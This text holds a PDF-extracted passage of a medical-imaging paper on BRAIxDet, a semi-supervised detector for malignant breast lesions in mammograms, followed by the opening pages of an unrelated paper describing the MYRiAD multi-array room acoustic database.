+ℓsup(Ds, θs) =
+�
+(xm
+i ,xa
+i ,Ym
+i )∈Ds
+�
+ℓrpn
+cls (f d
+θs(xm
+i , xa
+i ), Ym
+i ) + ℓrpn
+reg ( f d
+θs(xm
+i , xa
+i ), Ym
+i )
+�
++
+�
+(xm
+i ,xa
+i ,Ym
+i )∈Ds
+�
+ℓroi
+cls( f d
+θs(xm
+i , xa
+i ), Ym
+i ) + ℓroi
+reg( f d
+θs(xm
+i , xa
+i ), Ym
+i )
+�
+,
+(2)
+where ℓrpn
+cls (.), ℓrpn
+reg (.) denote the RPN classification and regres-
+sion losses with respect to the anchors, and ℓroi
+cls(.), ℓroi
+reg(.) repre-
+sent the RoI head classification and regression losses with re-
+spect to the region proposal features (Ren et al., 2015).
+These pseudo-labels to train the student are provided by
+the teacher, which form the pseudo-labelled dataset �Dw =
+�
+(xm
+i , xa
+i , �Ym
+i )|(xm
+i , xa
+i , cm
+i ) ∈ Dw, and �Ym
+i = f d
+θt(xm
+i , xa
+i )
+�
+.
+How-
+ever, at the beginning of the training (first two training epochs),
+the pseudo-labels in �Dw are unreliable, which can cause the
+confirmation bias issue mentioned in Section 2.3, so we also
+use the GradCAM predictions in �Dw from Algorithm 1. More
+specifically, starting from (xm
+i , xa
+i , �Ym
+i ) ∈ �Dw, we first select
+the most confident prediction from (ˆcm
+i, j∗, ˆbm
+i, j∗) ∈ �Ym
+i , with j∗ =
+arg maxj∈{1,...,|�Ym
+i |} ˆci, j, and add it to the set of GradCAM detec-
+tions in �Ym
+i . Then, for each training sample (xm
+i , xa
+i , �Ym
+i ) ∈ �Dw
+we run non-max suppression (NMS) on the teacher and Grad-
+CAM detections to form �Ym
+i ← NMS (�Ym
+i
+�(ˆcm
+i, j∗, ˆbm
+i, j∗)). After
+these initial training stages, the pseudo-label is solely based on
+the teacher’s prediction from �Dw. The objective function to
+train the student using �Dw is defined as
+ℓwek(�Dw, θs) =
+�
+(xm
+i ,xa
+i ,�Ym
+i )∈�Dw
+�
+ℓrpn
+cls ( f d
+θs(xm
+i , xa
+i ), �Ym
+i ) + ℓrpn
+reg ( f d
+θs(xm
+i , xa
+i ), �Ym
+i )
+�
++
+�
+(xm
+i ,xa
+i ,�Ym
+i )∈�Dw
+�
+ℓroi
+cls( f d
+θs(xm
+i , xa
+i ), �Ym
+i ) + ℓroi
+reg( f d
+θs(xm
+i , xa
+i ), �Ym
+i )
+�
+,
+(3)
+
+Yuanhong Chen et al. / Medical Image Analysis (2023)
+7
+BRAIxDet 
+(Teacher)
+RPN
+RPN
+Roi Head
+BRAIxDet
+(Student)
+NMS
+EMA
+GradCAM Prediction
+Box Filter
+Predict
+Weakly-supervised Flow
+Fully-supervised Flow
+Fig. 4. The student-teacher SSL of our BRAIxDet is optimised in two steps: 1) the student is trained with the fully-annotated Ds, using loss ℓsup(.) in (2),
+and with the pseudo-labelled �Dw produced by the teacher and GradCAM predictions in �Dw for the weakly supervised dataset Dw; and 2) the teacher
+network is updated based on the EMA of the student’s network parameters. We introduce the following two steps to improve the quality of the pseudo
+labels produced by the teacher: a) a box filtering process that selects the teacher’s most confident prediction; b) a non-maximum suppression (NMS)
+operation that rejects duplicated boxes by comparing the overlap and objectiveness score between the most confident of the teacher’s predictions and the
+GradCAM predictions. The running mean γ and standard deviation β for both the batch normalisation of the teacher and student models are fixed during
+the entire process.
+where the losses used here are the same as the ones in (2).
+The overall loss function to train the student is
+ℓstu(Ds, �Dw, θs) = ℓsup(Ds, θs) + λℓwek(�Dw, θs),
+(4)
+where λ is the hyper-parameter that controls the contribution
+of the weakly-supervised loss. The teacher’s model parameters
+are updated with EMA (Tarvainen and Valpola, 2017):
+θ′
+t = αθt + (1 − α)θs,
+(5)
+where α ∈ (0, 1) is a hyper-parameter that represents the
+smoothing factor, where a high value of α provides a slow up-
+dating process.
+3.3. Batch Normalisation for EMA
+In the original mean-teacher training (Tarvainen and Valpola,
+2017), both student and teacher use the standard batch nor-
+malization (BN). For the student network, the model parame-
+ter θs is aligned with the BN parameters γ and standard devia-
+tion β since these parameters are optimized based on the batch-
+wise statistics. However, this relationship does not hold for the
+teacher’s network since the teacher’s model parameter θt is up-
+dated by EMA, but the BN statistics are not updated. Cai et al.
+(2021) claimed that this issue can be solved by applying EMA
+on BN statistics to avoid the misalignment in the teacher’s pa-
+rameter space. We propose a simpler approach to address this
+issue, which is to simply freeze the BN layers for both student
+and teacher models since the BN statistics is already well es-
+timated from the entire dataset �Ds
+� Dw during pre-training.
+We show in the experiments that our proposal above addresses
+well the mismatch between the student’s and the teacher’s pa-
+rameters and the dependency on the student’s training samples,
+providing better detection generalisation than presented by Cai
+et al. (2021).
+4. Experiments
+In this section, we first introduce the two datasets used in
+the experiments, and then we explain the experimental setting
+containing variable proportions of fully and weakly annotated
+samples in the training set. Next, we discuss the implementa-
+tion details of our method and competing approaches. We con-
+clude the section with a visualization of the detection results
+and ablation studies.
+4.1. Datasets
+We validate our proposed BRAIxDet method on two datasets
+that contain incomplete malignant breast lesion annotations,
+namely: our own Annotated Digital Mammograms and As-
+sociated Non-Image data (ADMANI), and the public Curated
+Breast Imaging Subset of the Digital Database for Screening
+Mammography (CBIS-DDSM) (Lee et al., 2017).
+The ADMANI Dataset was collected from several breast
+screening clinics from the State of Victoria in Australia, be-
+tween 2013 and 2019, and contains pre-defined training and
+testing sets.
+Each exam on ADMANI has two mammo-
+graphic views (CC and MLO) per breast produced by one of
+the following manufactures: SiemensTM, HologicTM, Fujifilm
+CorporationTM, PhilipsTM Digital Mammography Sweden AB,
+Konica MinoltaTM, GETM Medical Systems, Philips Medical
+SystemsTM, and AgfaTM. The training set contains 771,542 ex-
+ams with 15,994 cancer cases (containing malignant findings)
+and 3,070,174 non-cancer cases (with 44,040 benign cases and
+3,026,134 cases with no findings).
+This training set is split
+90/10 for training/validation in a patient-wise manner.
+The
+training set has 7,532 weakly annotated cancer cases and 6,892
+fully annotated cancer cases, while the validation set has 759
+fully annotated cancer cases and no weakly annotated cases
+
+8
+Yuanhong Chen et al. / Medical Image Analysis (2023)
+since they are not useful for model selection. The testing set
+contains 83,990 exams with 1,262 cancer cases (containing ma-
+lignant findings) and 334,698 non-cancer cases (with 3,880 be-
+nign cases and 330,818 no findings). Given that we are test-
+ing lesion detection, we remove all non-cancer cases, and all
+weakly annotated cancer cases, leaving us with 900 fully anno-
+tated cancer cases.
+Initial Prediction
+After box filtering
+GradCAM Prediction
+Final Pseudo box
+Fig. 5. Visualisation of the pseudo-labelling by the teacher using a CC
+(top) and an MLO (bottom) view of a weakly-annotated sample.
+The
+process starts with the initial predictions by the BRAIxDet teacher (first
+column), which is filtered to keep the detection with the highest score
+(second column). Next, we show the GradCAM detections produced by
+BRAIxMVCCL (Chen et al., 2022) (third column), and the final pseudo
+labels produced by the teacher to train the student with all GradCAM de-
+tections and the top BRAIxDet teacher detection (last column).
+The publicly available CBIS-DDSM dataset (Lee et al.,
+2017) contains images from 1,566 participants, where 1,457
+cases have malignant findings (with 1,696 mass cases and 1,872
+calcification cases). The dataset has a pre-defined training and
+testing split, with 2,864 images (with 1,181 malignant cases and
+1,683 benign cases) and 704 (with 276 malignant cases and 428
+benign cases) images respectively. Each exam on CBIS-DDSM
+also has two mammographic views (CC and MLO) per breast.
+4.2. Experimental settings
+To systematically test the robustness of our method to dif-
+ferent rates of incomplete malignant breast lesion annotations,
+we propose an experimental setting that contains different pro-
+portions of fully- and weakly-annotated samples. In the par-
+tially labelled protocol, we follow typical semi-supervised set-
+tings (Sohn et al., 2020; Liu et al., 2021; Xu et al., 2021; Liu
+et al., 2022), where we sub-sample the fully-annotated subset
+using the ratio 1/n, where the remaining 1 − 1/n of the subset
+becomes weakly-annotated. More specifically, on ADMANI,
+we split the fully-annotated subset with the ratios 1/2, 1/4,
+1/8, 1/16. We adopt the same experimental setting for CBIS-
+DDSM (Lee et al., 2017). In the fully labelled protocol, we
+use all ADMANI training samples that have the lesion localisa-
+tion annotation as the fully-annotated subset and all remaining
+weakly-labelled samples as the weakly-annotated subset. Un-
+like the synthetic partially labelled protocol setting, the fully
+labelled protocol setup is a real-world challenge since it uses
+all data available from ADMANI, allowing methods to lever-
+age all the available samples to improve detector performance
+on a large-scale mammogram dataset.
+All methods are assessed using the standard mean average
+precision (mAP) and free-response receiver operating char-
+acteristic (FROC). The mAP measures the average precision
+of true positive (TP) detections of malignant lesions, where a
+TP detection is defined as producing at least a 0.2 intersec-
+tion over union (IoU) with respect to the bounding box anno-
+tation (Liu et al., 2020b; Yang et al., 2020, 2021). On the other
+hand, FROC measures the recall at different false positive de-
+tections per image (FPPI). In this paper, we measure the recall
+at 0.5 FPPI (Recall @ 0.5), which means the recall at which the
+detector produces one false positive every two images. Such
+Recall@0.5 is a common measure to assess lesion detection
+from mammograms (Ma et al., 2021; Yang et al., 2020, 2021).
+4.3. Implementation details
+We pre-process each image to remove text annotations and
+background noise outside the breast region, then we crop the
+area outside the breast region and pad the pre-processed im-
+ages, such that their H/W has the ratio 1536/768 pixels. Dur-
+ing data loading, we resize the input images to 1536 x 768
+pixels and flip the images, so that the nipple is located on
+the right hand size of the image.
+For the pre-training, we
+implement the classifier BRAIxMVCCL (Chen et al., 2022)
+with the EfficientNet-b0 (Tan and Le, 2019) backbone, initial-
+ized with ImageNet-trained (Russakovsky et al., 2015) weights.
+Our pre-training relies on the Adam optimiser (Kingma and
+Ba, 2014) using a learning rate of 0.0001, weight decay of
+10−6, batch size of 8 images and 20 epochs.
+The semi-
+supervised student-teacher learning first updates the classi-
+fier BRAIxMVCCL (Chen et al., 2022) into the proposed de-
+tector BRAIxDet using the Faster R-CNN (Ren et al., 2015)
+backbone. We set the binarising threshold τ in Algorithm 1 to
+0.5. We follow the default Faster R-CNN hyper-parameter set-
+ting from the Torchvision Library (Paszke et al., 2019), except
+for the NMS threshold that was reduced to 0.2 and for the TP
+IoU detection for Roi head which was set to 0.2. The optimiza-
+tion of BRAIxDet also relies on Adam optimiser (Kingma and
+Ba, 2014) using a learning rate of 0.00005, weight decay of
+10−5, batch size of 4 images and 20 epochs. Similarly to pre-
+vious papers (Tarvainen and Valpola, 2017; Liu et al., 2021),
+we set λ, in the overall student loss of (4), to 0.25, and α in
+the EMA to update the teacher’s parameter in (5) to 0.999. For
+the pre-training and student-teacher learning stages, we use Re-
+duceLROnPlateau to dynamically control the learning rate re-
+duction based on the BCE loss during model validation, where
+the reduction factor is set to 0.1.
+
+Yuanhong Chen et al. / Medical Image Analysis (2023)
+9
+Table 1. mAP and Recall @ 0.5 results on the testing images of ADMANI using the partially labelled protocol based on splitting the fully annotated subset
+with the ratios 1/16, 1/8, 1/4, and 1/2 (we show the number of fully annotated images inside the brackets). We highlight the best result in each column.
+Method
+mAP
+Recall @ 0.5
+1/16 (430)
+1/8 (861)
+1/4 (1723)
+1/2 (3446)
+1/16 (430)
+1/8 (861)
+1/4 (1723)
+1/2 (3446)
+Faster RCNN (Ren et al., 2015)
+0.6198
+0.7072
+0.7560
+0.8098
+0.6222
+0.7235
+0.7673
+0.8150
+STAC (Sohn et al., 2020)
+0.7385
+0.7918
+0.8211
+0.8480
+0.7478
+0.8276
+0.8733
+0.8821
+MT (Tarvainen and Valpola, 2017)
+0.7870
+0.8627
+0.8589
+0.8706
+0.8150
+0.9075
+0.8999
+0.9062
+Unbiased Teacher (Liu et al., 2021)
+0.6330
+0.7558
+0.8081
+0.8191
+0.6464
+0.7947
+0.8454
+0.8530
+Soft Teacher (Xu et al., 2021)
+0.8224
+0.8399
+0.8604
+0.8707
+0.8589
+0.8948
+0.9037
+0.9062
+BRAIxDet
+0.8953
+0.8944
+0.9116
+0.9184
+0.9265
+0.9303
+0.9392
+0.9468
+Table 2. mAP and Recall @ 0.5 results on the testing images of ADMANI
+using the fully labelled protocol based on all fully annotated data and extra
+weakly-labelled data (we show the number of extra weakly labelled images
+inside the brackets). We highlight the best result in each column.
+Method
+100%+Extra (6298)
+mAP
+Recall @ 0.5
+Faster RCNN (Ren et al., 2015)
+0.8460
+0.8510
+STAC (Sohn et al., 2020)
+0.8912
+0.9278
+MT (Tarvainen and Valpola, 2017)
+0.8956
+0.9290
+Unbiased Teacher (Liu et al., 2021)
+0.8755
+0.9252
+Soft Teacher (Xu et al., 2021)
+0.9021
+0.9285
+BRAIxDet
+0.9294
+0.9531
+We compare our method to the following state-of-the-
+art (SOTA) approaches: Faster RCNN (Ren et al., 2015)1,
+STAC (Sohn et al., 2020)2, MT (Tarvainen and Valpola, 2017)3,
+Unbiased Teacher (Liu et al., 2021)4, and Soft Teacher (Xu
+et al., 2021)5. These methods are implemented using Faster
+RCNN with EfficientNet-b0 (Tan and Le, 2019) backbone, pre-
+trained on the ADMANI dataset using the fully- and weakly-
+annotated training subsets, following the same setup as our
+BRAIxDet. After pre-training, while Faster RCNN is trained
+using only the fully-annotated subset, all other methods are
+trained with both the fully- and weakly-annotated training sub-
+sets. All these competing methods’ results are produced by
+running the code available from their official GitHub reposi-
+tory. All experiments are implemented with Pytorch (Paszke
+et al., 2019) and conducted on an NVIDIA A40 GPU (48GB),
+where training takes about 30 hours on ADMANI and 8 hours
+on DDSM (Smith, 2017), and testing takes about 0.1s per im-
+age. Given that the competing methods use Faster RCNN with
+the same backbone (EffientNet-b0) as ours and rely on pre-
+training, their training and testing running times are similar to
+ours.
+1https://github.com/pytorch/vision
+2https://github.com/google-research/ssl_detection
+3https://github.com/CuriousAI/mean-teacher
+4https://github.com/facebookresearch/unbiased-teacher.
+5https://github.com/microsoft/SoftTeacher
+4.4. Results
+We first present the results produced by our BRAIxDet and
+competing approaches using the partially labelled protocol on
+ADMANI. Table 1 shows the mAP and Recall @ 0.5 results,
+where BRAIxDet shows an mAP of 0.8953 for the ratio 1/16,
+which is more than 7% larger than the second best method, Soft
+Teacher. For the ratio 1/2, the mAP improvement is still large
+at around 4.5%. Similarly, for the Recall @ 0.5, BRAIxDet is
+around 7% better than Soft Teacher (the second best method)
+for the ratio 1/16, and when the ratio is 1/2, the improve-
+ment is around 4%.
+The results from the partially labelled
+protocol on CBIS-DDSM on Table 4 are similar to ADMANI.
+Indeed, our BRAIxDet shows consistently better results than
+other approaches for all training ratios. For instance, BRAIxDet
+presents an mAP of 0.5333 for ratio 1/16, which is much larger
+than the second best, Unbiased Teacher, with a mAP of 0.3618.
+For ratio 1/2, our mAP result is 5% better than Soft Teacher
+(second best). Similar conclusions can be drawn from the re-
+sults of the Recall @ 0.5. Another interesting difference be-
+tween the ADMANI and CBIS-DDSM results is the general
+lower performance on the CBIS-DDSM dataset. This can be ex-
+plained by the lower quality of the images in the CBIS-DDSM
+dataset, as observed when comparing with Figures 6 and 7. It is
+worth noticing that in general, on both datasets, both BRAIxDet
+and competing SSL methods show better mAP and Recall @
+0.5 results than Faster RCNN, demonstrating the importance of
+using not only the fully-annotated cases, but also the weakly-
+annotated training subset.
+The results produced by BRAIxDet and competing ap-
+proaches using the fully labelled protocol on ADMANI are
+shown in Table 2. The mAP results confirm that BRAIxDet
+shows an improvement of 2.7% with respect to the second best
+approach Soft Teacher. Similarly, BRAIxDet’s Recall @ 0.5
+results show an improvement of around 2.5% over competing
+SSL methods. Similarly to the partially labelled protocol from
+Table 1, BRAIxDet and competing SSL methods show better
+mAP and Recall @ 0.5 results than Faster RCNN, confirming
+again the importance of using the fully- and weakly-annotated
+training subsets.
+We visualise the detection results by the most competitive
+methods and our proposed BRAIxDet model on ADMANI
+(Figure 6) and on CBIS-DDSM (Figure 7).
+In general, we
+can see that our method is more robust to false positive detec-
+
+10
+Yuanhong Chen et al. / Medical Image Analysis (2023)
+BRAIxDet
+STAC
+Unbiased Teacher
+Soft Teacher
+Mean Teacher
+Origin
+Fig. 6. Visualisation of the results achieved by the most competitive methods and our BRAIxDet (column titles show each method’s name) on two ADMANI
+testing images, where the blue rectangles show lesion annotations and the red rectangles display the detections.
+Table 3. Influence of each stage of our method using mAP and Recall @ 0.5 results on the fully-labelled protocol. 1st row: Faster RCNN (Ren et al.,
+2015) with its EfficientNet-b0 backbone pre-trained with fully- and weakly-annotated subsets and trained using only the fully-annotated subset. 2nd row:
+pre-train the multi-view BRAIxMVCCL classifier (Chen et al., 2022), and keep the LCM module for the second training stage that uses the fully-annotated
+training subset. 3rd row: train Faster RCNN with the student-teacher SSL using a backbone without LCM. 4th row: integrate Faster RCNN, LCM and
+student-teacher SSL. 5th row: BRAIxDet results using the BRAIxMVCCL’s GradCAM predictions.
+Faster RCNN
+LCM
+Student-teacher
+GradCAM
+mAP
+Recall @ 0.5
+✓
+0.8481
+0.8510
+✓
+✓
+0.9033
+0.9392
+✓
+✓
+0.8985
+0.9203
+✓
+✓
+✓
+0.9084
+0.9417
+✓
+✓
+✓
+✓
+0.9294
+0.9531
+tions, while displaying more accurate true positive detections.
+We also show the cross-view detections on the CC and MLO
+mammograms from the same breast in Figure 8. Notice how
+BRAIxDet is robust to false positives, and at the same time pre-
+cise at detecting the true positives from both views. We believe
+that such cross-view accuracy is enabled in part by the cross-
+view analysis provided by BRAIxDet.
+4.5. Ablation study
+In this ablation study, we first show a visual example of the
+steps in the production of a pseudo-label for weakly-annotated
+images by the teacher in Figure 5.
+The process starts with
+the initial prediction from the BRAIxDet teacher model, which
+tends to be inaccurate, particularly at the initial SSL training
+stages.
+This issue is addressed in part by keeping only the
+most confident detection, as shown in the column ‘After box
+filtering’. In addition, the BRAIxDet teacher’s detection inac-
+curacies are also dealt with GradCAM predictions produced by
+BRAIxMVCCL (Chen et al., 2022), which are used with the
+most confident detection to produce the final pseudo-labelled
+detections.
+Table 3 shows the impact of the local co-occurrence module
+(LCM) from BRAIxMVCCL, the student-teacher SSL train-
+ing, and the use of BRAIxMVCCL’s GradCAM detections for
+the pseudo-labelling process.
+All methods in this table first
+pre-train their EfficientNet-b0 classification backbone with the
+fully- and weakly-annotated training subsets.
+The first row
+shows the Faster RCNN (Ren et al., 2015) that is trained using
+
+口口Yuanhong Chen et al. / Medical Image Analysis (2023)
+11
+Table 4. mAP and Recall @ 0.5 results on the testing images of CBIS-DDSM using the partially labelled protocol based on splitting the fully annotated
+subset with the ratios 1/16, 1/8, 1/4, and 1/2 (we show the number of fully annotated images inside the brackets). We highlight the best result in each
+column.
+Method
+mAP
+Recall @ 0.5
+1/16 (65)
+1/8 (130)
+1/4 (260)
+1/2 (520)
+1/16 (65)
+1/8 (130)
+1/4 (260)
+1/2 (520)
+Faster RCNN (Ren et al., 2015)
+0.2468
+0.4269
+0.4973
+0.5401
+0.3678
+0.5496
+0.6157
+0.6736
+STAC (Sohn et al., 2020)
+0.2916
+0.4585
+0.5755
+0.5911
+0.4500
+0.6111
+0.7144
+0.7778
+MT (Tarvainen and Valpola, 2017)
+0.2350
+0.3365
+0.5665
+0.6562
+0.4421
+0.4587
+0.6488
+0.7397
+Unbiased Teacher (Liu et al., 2021)
+0.3618
+0.5001
+0.5806
+0.6503
+0.5389
+0.6198
+0.6911
+0.7667
+Soft Teacher (Xu et al., 2021)
+0.4625
+0.4920
+0.6201
+0.6768
+0.5826
+0.6612
+0.7149
+0.7975
+BRAIxDet
+0.5333
+0.6533
+0.6927
+0.7212
+0.6694
+0.7190
+0.7562
+0.8388
+BRAIxDet
+STAC
+Unbiased Teacher
+Soft Teacher
+Mean Teacher
+Origin
+Fig. 7. Visualisation of the results achieved by the most competitive methods and our BRAIxDet (column titles show each method’s name) on two CBIS-
+DDSM testing images, where the blue rectangles show the lesion annotations, and the red rectangles display the detections.
+only the fully-annotated training subset. The second row dis-
+plays a method that pre-trains the multi-view BRAIxMVCCL
+classifier (Chen et al., 2022) and keeps the LCM for training the
+Faster RCNN, which shows that the multi-view analysis from
+LCM provides substantial improvement to the original Faster
+RCNN. The third rows displays that our proposed student-
+teacher SSL training improves the original Faster RCNN re-
+sults because such training allows the use of the fully- and
+weakly-annotated training subsets.
+When combining Faster
+RCNN, LCM, and the student-teacher SSL training, the results
+are better than without SSL training or without LCM. Putting all
+BRAIxDet components together, including BRAIxMVCCL’s
+GradCAM detections, enables us to reach the best mAP and
+Recall @ 0.5 results.
+Another important point that was investigated is the role of
+the proposed BN approach, which is presented in Table 5. The
+results show that the proposed approach based on freezing both
+the student and teacher BN statistics is better than just updat-
+ing the student’s BN statistics, or updating both the student and
+teacher’s BN statistics (Cai et al., 2021).
+
+6口口口12
+Yuanhong Chen et al. / Medical Image Analysis (2023)
+BRAIxDet
+STAC
+Unbiased Teacher
+Soft Teacher
+Mean Teacher
+Origin
+Fig. 8. Visualisation of the cross-view results achieved by several methods and our BRAIxDet (column titles show each method’s name) on CBIS-DDSM
+testing images containing two views of the same breast, where blue rectangles show lesion annotations, and red rectangles display the detections. Note that
+BRAIxDet is the only method that correctly localises both lesions in the two views, showing the importance of the cross-view analysis.
+Table 5. Comparison of different types of batch normalisation (BN) strate-
+gies for the student-teacher SSL stage. The first row shows the mAP and
+Recall @ 0.5 results using the usual approach, where the student updates
+its own BN statistics, but the teacher does not update the BN statistics from
+pre-training. Second row shows the competing approach (Cai et al., 2021)
+that updates the teacher’s BN statistics with the EMA from the student’s
+BN statistics. The last row shows our proposed approach based on freezing
+both the student and teacher BN statistics. Results are computed using the
+fully-labelled protocol.
+Methods
+mAP
+Recall @ 0.5
+Open BN (Tarvainen and Valpola, 2017)
+0.9013
+0.9311
+EMA BN (Cai et al., 2021)
+0.9080
+0.9366
+Freeze BN (ours)
+0.9294
+0.9531
+5. Conclusion
+In this paper, we proposed a new framework for training
+breast cancer lesion detectors from mammograms using real-
+world screening mammograms datasets. The proposed frame-
+work contains a new problem setting and a new method. The
+new setting is based on large-scale real-world screening mam-
+mogram datasets, which have a subset that is fully annotated
+and another subset that is weakly annotated with just the global
+image classification and without lesion localisation – we call
+this setting malignant breast lesion detection with incomplete
+annotations. Our solution to this setting is a new method with
+the following two stages: 1) pre-training a multi-view mammo-
+gram classifier with weak supervision from the whole dataset,
+and 2) extend the trained classifier to become a multi-view
+detector that is trained with semi-supervised student-teacher
+learning, where the training set contains fully and weakly-
+annotated mammograms. We provide extensive detection re-
+sults on two real-world screening mammogram datasets con-
+taining fully and weakly-annotated mammograms, which show
+that our proposed approach has SOTA results in the detection
+of malignant breast lesions with incomplete annotations. In the
+future, we aim to further improve model performance by in-
+corporating additional multi-modal information (i.e., radiology
+reports, risk factors or ultrasound) to calibrate the confidence of
+the pseudo-label.
+Acknowledgments
+This work was supported by funding from the Australian
+Government under the Medical Research Future Fund - Grant
+MRFAI000090 for the Transforming Breast Cancer Screening
+with Artificial Intelligence (BRAIx) Project. G. Carneiro ac-
+knowledges the support by the Australian Research Council
+through grants DP180103232 and FT190100525.
+
+口中7Yuanhong Chen et al. / Medical Image Analysis (2023)
+13
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+

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+Dietzen et al.
+RESEARCH
+MYRiAD:
+A Multi-Array Room Acoustic Database
+Thomas Dietzen1*, Randall Ali1, Maja Taseska2 and Toon van Waterschoot1
+Abstract
+In the development of acoustic signal processing algorithms, their evaluation in various acoustic environments
+is of utmost importance. In order to advance evaluation in realistic and reproducible scenarios, several
+high-quality acoustic databases have been developed over the years. In this paper, we present another
+complementary database of acoustic recordings, referred to as the Multi-arraY Room Acoustic Database
+(MYRiAD). The MYRiAD database is unique in its diversity of microphone configurations suiting a wide range
+of enhancement and reproduction applications (such as assistive hearing, teleconferencing, or sound zoning),
+the acoustics of the two recording spaces, and the variety of contained signals including 1214 room impulse
+responses (RIRs), reproduced speech, music, and stationary noise, as well as recordings of live cocktail parties
+held in both rooms. The microphone configurations comprise a dummy head (DH) with in-ear omnidirectional
+microphones, two behind-the-ear (BTE) pieces equipped with 2 omnidirectional microphones each, 5 external
+omnidirectional microphones (XMs), and two concentric circular microphone arrays (CMAs) consisting of 12
+omnidirectional microphones in total. The two recording spaces, namely the SONORA Audio Laboratory (SAL)
+and the Alamire Interactive Laboratory (AIL), have reverberation times of 2.1 s and 0.5 s, respectively. Audio
+signals were reproduced using 10 movable loudspeakers in the SAL and a built-in array of 24 loudspeakers in
+the AIL. MATLAB and Python scripts are included for accessing the signals as well as microphone and
+loudspeaker coordinates. The database is publicly available at [1].
+Keywords: Room Acoustic Database; Room Impulse Response; Cocktail Party Noise; Microphone Array;
+Loudspeaker Array; Acoustic Signal Processing
+1 Introduction
+Acoustic signal processing using multiple microphones
+has received significant attention due to its fundamen-
+tal role in a number of applications such as assistive
+hearing with hearing aids or cochlear implants, tele-
+conferencing, hands-free telephony, voice-controlled
+devices, spatial audio reproduction, and sound-zoning,
+just to name a few. Some of the specific tasks which
+can be accomplished with acoustic signal processing
+include speech enhancement and speech dereverbera-
+tion [2–9], room parameter estimation [10], acoustic
+echo and feedback cancellation [11, 12], source locali-
+sation [3, 6, 13], audio source separation [8, 9], sound
+field control [14, 15], and automatic speech recogni-
+tion [16], all of which are pertinent to the aforemen-
+tioned applications. One of the core phases in the de-
+velopment of acoustic signal processing algorithms is
+*Correspondence: thomas.dietzen@esat.kuleuven.be
+1Dept. of Electrical Engineering (ESAT), STADIUS Center for Dynamical
+Systems, Signal Processing and Data Analytics, KU Leuven, Leuven,
+Belgium
+Full list of author information is available at the end of the article
+that of the evaluation phase, where the performance
+of a newly developed algorithm is compared to that of
+existing algorithms in various acoustic environments
+which are relevant for the application at hand. This is
+clearly challenging because the laboratory conditions
+under which the algorithm is evaluated rarely match
+the real-world conditions where the algorithm must
+perform. Additionally, recorded audio signals with the
+target microphone configurations and specified acous-
+tic scenarios may be unavailable, resulting in the use
+of simulated data for evaluation. Although simulated
+data can be useful in the evaluation of initial proof of
+concept ideas, it does not necessarily provide accurate
+indication whether the algorithm will perform well in
+real-world conditions. In an effort to overcome these
+challenges and to encourage the use of more realis-
+tic data, several high-quality acoustic databases con-
+taining room impulse responses (RIRs) [7, 10, 17–28],
+speech [7, 10, 11, 16, 21, 23, 24], music [21], and babble
+or cocktail party noise [23,29,30] have been developed
+over the years, which have played an important role in
+arXiv:2301.13057v1  [eess.AS]  30 Jan 2023
+
+Dietzen et al.
+Page 2 of 15
+building confidence in the real-world performance of
+various acoustic signal processing algorithms.
+In this paper, we present another complementary
+database of acoustic recordings from multiple micro-
+phones in various acoustic scenarios, referred to as the
+Multi-arraY Room Acoustic Database (MYRiAD). In
+comparison to the existing databases, the MYRiAD
+database is unique in its diversity of the employed mi-
+crophone configurations suiting a wide range of appli-
+cations, the acoustics of the recording spaces, and the
+variety of signals contained in the database, which in-
+cludes RIRs, recordings of reproduced speech, music,
+and stationary noise, as well as recordings of live cock-
+tail parties.
+The database consists specifically of two different
+microphone configurations used across two different
+rooms. The first microphone configuration consists of
+a dummy head (DH) with in-ear omnidirectional mi-
+crophones, two behind-the-ear (BTE) pieces mounted
+on the DH, each equipped with 2 omnidirectional mi-
+crophones[1], as well as 5 external omnidirectional mi-
+crophones (XMs) located at various distances and an-
+gles from the DH. This microphone configuration will
+be referred to as M1. The second microphone con-
+figuration consists of two concentric circular micro-
+phone arrays (CMAs) with in total 12 omnidirectional
+microphones, which will be referred to as M2. The
+two different rooms where audio recordings were made
+are: (i) the SONORA Audio Laboratory [31] located
+at the Depeartment of Electrical Engineering (ESAT-
+STADIUS), KU Leuven, Belgium, which we will refer
+to as the SAL, and (ii) the Alamire Interactive Lab-
+oratory [31] located at the Park Abbey in Heverlee,
+Belgium, referred to as the AIL. The main acoustical
+difference between these two rooms is that the SAL
+is significantly more reverberant than the AIL, with
+reverberation times of 2.1 s and 0.5 s, respectively. In
+the SAL, the microphone configuration M1 was used in
+one position, and in the AIL, a combination of micro-
+phone configurations M1 and M2 was used in two po-
+sitions. In terms of sound generation, 10 different mov-
+able loudspeakers were used as artificial sound sources
+in the SAL, while the AIL has been equipped with an
+array of 24 loudspeakers.
+The following audio signals were played back through
+the speakers and recorded by the microphones: expo-
+nential sine sweeps used to compute RIRs [32] between
+source and microphone positions, resulting in 110 RIRs
+[1]These BTE pieces are commonly used for hearing
+aids or cochlear implant devices. There is no addi-
+tional signal processing done on the microphones in
+these BTE pieces before arriving to the data acquisi-
+tion system.
+SAL
+AIL
+Figure 1: Fisheye view of the SAL and the AIL.
+for the SAL and 1104 RIRs for the AIL, as well as
+three male speeches [33], three female speeches [33], a
+drum beat [34], a piano piece [35], and speech-shaped
+stationary noise. Additionally, in both rooms, several
+participants were invited to re-create a live cocktail
+party scenario. The resulting noise from the different
+cocktail parties held at each of the spaces was recorded
+for both microphone configurations.
+In total, the MYRiAD database contains 76 hours of
+audio data sampled at 44.1 kHz in 24 bit, which results
+in 36.2 GB. All computed RIRs and recorded signals
+are available in the database and can be downloaded
+[1]. MATLAB and Python scripts are included in the
+database for accessing the signals and corresponding
+microphone and loudspeaker coordinates.
+The remaining sections of this paper provide a de-
+tailed overview of the database and are organised as
+follows. In Sec. 2, an overview of the two different
+rooms, the SAL and the AIL, is presented. In Sec. 3,
+a detailed description is given of the equipment used.
+In Sec. 4, the microphone and loudspeaker configura-
+tions within the two rooms are discussed. In Sec. 5, an
+overview is given of the recorded signals, details of the
+
+Dietzen et al.
+Page 3 of 15
+Table 1: Equipment used for creating the database.
+Type
+Product
+Room/
+Mic. Config.
+Hardware
+Reproduction
+Loudspeakers
+Genelec 8030 CP
+SAL
+Martin Audio CDD6
+AIL
+DA-converters
+RME M-32 DA
+SAL
+Powersoft OTTOCANALI 4K4 DSP+D
+AIL
+Acquisition
+Microphones
+Neumann KU-100 DH
+M1
+BTE left/right-ear pieces from Cochlear
+M1
+AKG 97O
+M1
+AKG CK32
+M1 & M2
+DPA 4060
+M2
+AD-converters/pre-amplfiers
+RME Micstasy
+SAL & AIL
+Proprietary pre-amp. for BTE microphones
+SAL & AIL
+Digital interface
+RME Digiface USB audio interface
+SAL
+Ferrofish Verto 64
+AIL
+Apple iMac
+SAL & AIL
